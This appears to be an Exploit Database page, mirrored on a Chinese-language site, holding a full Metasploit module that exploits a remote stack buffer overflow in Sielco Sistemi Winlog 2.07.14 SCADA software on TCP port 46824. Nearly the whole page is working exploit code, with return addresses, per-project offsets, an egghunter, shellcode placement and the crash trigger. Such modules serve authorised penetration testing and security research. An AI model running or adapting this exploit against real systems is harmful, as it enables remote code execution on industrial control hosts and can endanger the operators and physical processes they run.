Sielco Sistemi Winlog 2.07.14 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2012-06-08
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19025/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',
  			'Description'=> %q{
  				This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.
  				When sending a specially formatted packet to the Runtime.exe service on port 46824,
  				an attacker may be able to execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'm-1-k-3 <m1k3[at]s3cur1ty.de>'
  				],
  			'References' =>
  				[
  					[ 'BID', '53811'],
  					[ 'URL', 'http://www.s3cur1ty.de' ],
  					[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
  				],
  			'DefaultOptions' =>
  				{
  					'ExitFunction' => 'process',
  				},
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'Space'=> 2000,
  					'BadChars' => "\x00",
  					'DisableNops' => true,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',
  						{
  							'Ret'=> 0x405153df,
  							'Offset' => 167,
  						}
  					], #Jmp ESP - Vclx40.bpl - 0x405153df
  					[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
  						{
  							'Ret'=> 0x405153df,
  							'Offset' => 151,
  						}
  					], #Jmp ESP - Vclx40.bpl - 0x405153df
  					#The reliability depends on the actual project. We need to generate some more
  					#targets. Two of them for the default project and one other project is now available.
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jun 04 2012',
  			'DefaultTarget'=> 0))
  
  		register_options([Opt::RPORT(46824)], self.class)
  	end
  
  	def exploit
  		connect
  
  		egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
  
  		print_status("Placing the shellcode")
  		shellcode = rand_text_alpha(2000)
  		shellcode << egg
  		sock.put(shellcode)
  
  		select(nil,nil,nil,1)
  
  		buffer = rand_text_alpha(20)
  		buffer << "\x14" * 10 	#trigger the crash
  		buffer << rand_text_alpha(target['Offset'])
  		buffer << [target.ret].pack('V')
  		buffer << egghunter
  		buffer << rand_text_alpha(69 - egghunter.length)
  
  		print_status("Trying target #{target.name}...")
  		sock.put(buffer)
  
  		handler
  		disconnect
  
  	end
  end